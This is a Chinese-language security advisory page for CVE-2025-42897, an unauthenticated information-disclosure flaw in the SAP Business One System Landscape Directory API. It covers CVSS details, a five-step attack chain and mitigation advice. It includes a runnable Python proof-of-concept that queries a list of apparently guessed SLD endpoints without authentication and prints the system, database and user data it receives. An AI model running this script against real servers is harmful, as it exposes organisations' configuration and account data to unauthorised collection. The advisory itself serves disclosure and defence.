IPBUF安全漏洞报告
English
CVE-2025-42897 CVSS 5.3 中危

CVE-2025-42897 SAP Business One SLD匿名API信息泄露漏洞

披露日期: 2025-11-11

漏洞信息

漏洞编号
CVE-2025-42897
漏洞类型
信息泄露
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
SAP Business One (SLD)

相关标签

信息泄露SAP Business OneSLD匿名API无需认证系统配置泄露中危漏洞

漏洞概述

CVE-2025-42897是SAP Business One系统中System Landscape Directory (SLD)组件存在的一个信息泄露漏洞。该漏洞源于SLD提供的匿名API端点未正确实施访问控制机制,允许未经授权的普通用户访问本应受保护的敏感系统信息。攻击者利用此漏洞可获取系统配置数据、用户账户信息、服务器架构详情等未授权内容。尽管该漏洞对机密性的影响评估为低级别(CVSS C:L),但仍可能导致敏感业务信息暴露,为进一步攻击提供情报支持。由于漏洞无需认证即可利用(PR:N),且可通过网络远程触发(AV:N),因此具有较高的可利用性。SAP官方已将此漏洞评级为中等严重程度,并建议受影响的客户及时应用安全补丁。

技术细节

SAP Business One的System Landscape Directory (SLD)组件负责管理系统架构和配置信息,包括服务器列表、数据库连接参数、用户账户信息等核心数据。该组件暴露的匿名API允许未认证用户查询系统配置信息,攻击者可通过构造特定的HTTP请求到SLD端点获取敏感数据。漏洞利用方式为:攻击者使用普通用户权限或无需认证,直接向SLD的匿名API端点发送请求,即可获取系统信息列表。由于API未对返回数据进行适当的权限校验,导致原本仅管理员可访问的配置信息被泄露。技术层面上,漏洞存在于SLD的API访问控制模块,缺少对请求来源的充分验证和访问权限的强制检查。攻击者可通过自动化工具批量探测API端点,大规模收集系统信息,为后续攻击活动提供情报支持。

攻击链分析

STEP 1
步骤1
侦察阶段:攻击者对目标SAP Business One服务器进行端口扫描和服务识别,发现SLD组件暴露的网络端口
STEP 2
步骤2
探测阶段:攻击者尝试访问SLD的匿名API端点,验证漏洞存在性,确认无需认证即可访问
STEP 3
步骤3
情报收集:攻击者构造HTTP请求批量获取系统配置信息,包括服务器列表、数据库连接参数、用户账户信息等敏感数据
STEP 4
步骤4
数据整理:攻击者对收集的信息进行整理和分析,识别系统架构、版本信息、认证机制等关键情报
STEP 5
步骤5
后续利用:根据收集的信息,攻击者可能发起进一步攻击,如凭证猜测、社会工程攻击或针对已知漏洞的定向攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-42897 SAP Business One SLD Information Disclosure PoC # Description: Exploits unauthenticated API endpoint in SAP Business One SLD # to retrieve sensitive system configuration data import requests import json import sys def exploit_sld_info_disclosure(target_url): """ Exploit function for CVE-2025-42897 Tests anonymous API endpoint for information disclosure """ print(f"[*] Targeting: {target_url}") print(f"[*] Exploiting CVE-2025-42897 - SLD Information Disclosure\n") # Common SLD API endpoints to test endpoints = [ "/SLD/api/v1/system/info", "/SLD/api/v1/servers", "/SLD/api/v1/config/database", "/SLD/api/v1/users/list", "/SLD/api/v1/landscape/configuration" ] results = [] for endpoint in endpoints: url = target_url.rstrip('/') + endpoint print(f"[*] Testing endpoint: {endpoint}") try: # No authentication required (PR:N) response = requests.get(url, timeout=10, verify=False) if response.status_code == 200: print(f"[+] SUCCESS: Information disclosure detected at {endpoint}") print(f"[+] Response length: {len(response.text)} bytes") try: data = response.json() results.append({ "endpoint": endpoint, "status": "VULNERABLE", "data": data }) print(f"[+] Data preview: {json.dumps(data, indent=2)[:500]}") except: results.append({ "endpoint": endpoint, "status": "VULNERABLE", "data": response.text[:1000] }) print(f"[+] Raw data preview: {response.text[:500]}") else: print(f"[-] Endpoint returned status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return results if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} https://sap-server:50000") sys.exit(1) target = sys.argv[1] exploit_sld_info_disclosure(target)

影响范围

SAP Business One SLD - 所有未安装安全补丁的版本

防御指南

临时缓解措施
在SAP官方补丁发布前,建议通过网络访问控制列表(ACL)限制对SLD组件的访问,仅允许必要的管理员IP访问;同时监控SLD API的访问日志,关注异常的批量查询行为;如业务允许,可考虑暂时禁用SLD的匿名API功能,由SAP技术支持团队协助评估具体实施方案。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表